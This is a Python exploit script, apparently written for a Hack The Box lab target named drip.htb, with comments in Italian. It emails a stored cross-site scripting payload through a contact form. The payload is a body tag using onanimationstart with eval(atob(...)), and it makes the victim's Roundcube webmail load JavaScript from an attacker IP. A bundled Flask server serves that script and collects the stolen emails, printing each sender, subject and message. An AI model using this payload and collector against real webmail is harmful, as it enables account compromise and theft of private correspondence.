import requests
import base64
from flask import Flask, request, jsonify
import threading
from bs4 import BeautifulSoup
import re
import json
import urllib
import random

mail_url = 'http://mail.drip.htb'

# setup web server
app = Flask(__name__)

@app.route('/', methods=['POST'])
def test():
    ret = json.loads(request.data)
    username = ret['username']
    total = ret['total']
    uid = ret['uid']
    data = ret['data']
    print('######################')
    print(f'### Username: {username}\n### Showing email {uid}/{total}')
    soup = BeautifulSoup(data, 'html.parser')
    sender = soup.find_all("a", {"class": "rcmContactAddress"})[0].text
    receiver = soup.find_all("a", {"class": "rcmContactAddress"})[2].text
    subject = soup.find_all("h2", {"class": "subject"})[0].text.splitlines()[2].strip()
    message = soup.find_all("div", {"id": "messagebody"})[0].text
    print(f"Sender: {sender}")
    print(f"Receiver: {receiver}")
    print(f"Subject: {subject}")
    print(f'Message:\n{message}')
    print('######################')
    return ''

@app.route('/error', methods=['POST'])
def error():
    ret = json.loads(request.data)
    print(f'Error: {ret["error"]}')
    return ''

@app.route('/get_js', methods=['GET'])
def get_js():
    with open('test.js', 'r') as f:
        js = f.read()
    return js

server_thread = threading.Thread(target=app.run, kwargs={'host':'0.0.0.0', 'port':5555})
server_thread.start()

def send_email(payload):
    data = {
        'name': 'a',
        'email': 'test12@drip.htb',
        'message': payload,
        'content': 'html',
        'recipient': 'bcase@drip.htb'
    }
    # send payload
    requests.post('http://drip.htb/contact', data=data)

# potremmo fare così
# with open('test.js', 'r') as f:
#     payload = f.read()
# payload = base64.b64encode(payload.encode()).decode()
# il problema è che così il payload è troppo lungo e il server vittima lo tronca
# quindi l'idea è quella di hostare il codice javascript su un nostro server e farlo caricare dalla vittima

# per servire il javascript, se vuoi usare
# python3 -m http.server 8000
# bisogna usare un random id per evitare cache

# def random_id():
#     return ''.join(random.choices('0123456789abcdef', k=16))

# # we put random id to avoid cache
# payload = f'''const script = document.createElement('script');
# script.src = 'http://10.10.16.8:8000/test.js?v={random_id()}';
# document.head.appendChild(script);'''

# oppure possiamo sfruttare il nostro server flask per servire il codice javascript
# sembra che in questo caso non ci sia il problema della cache
payload = f'''const script = document.createElement('script');
script.src = 'http://10.10.16.8:5555/get_js';
document.head.appendChild(script);'''
payload = base64.b64encode(payload.encode()).decode()
payload = f'''<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('{payload}')) foo=bar">Foo</body>'''
print('Sending infected email...')
send_email(payload)
print('Email sent, waiting for results...')

server_thread.join()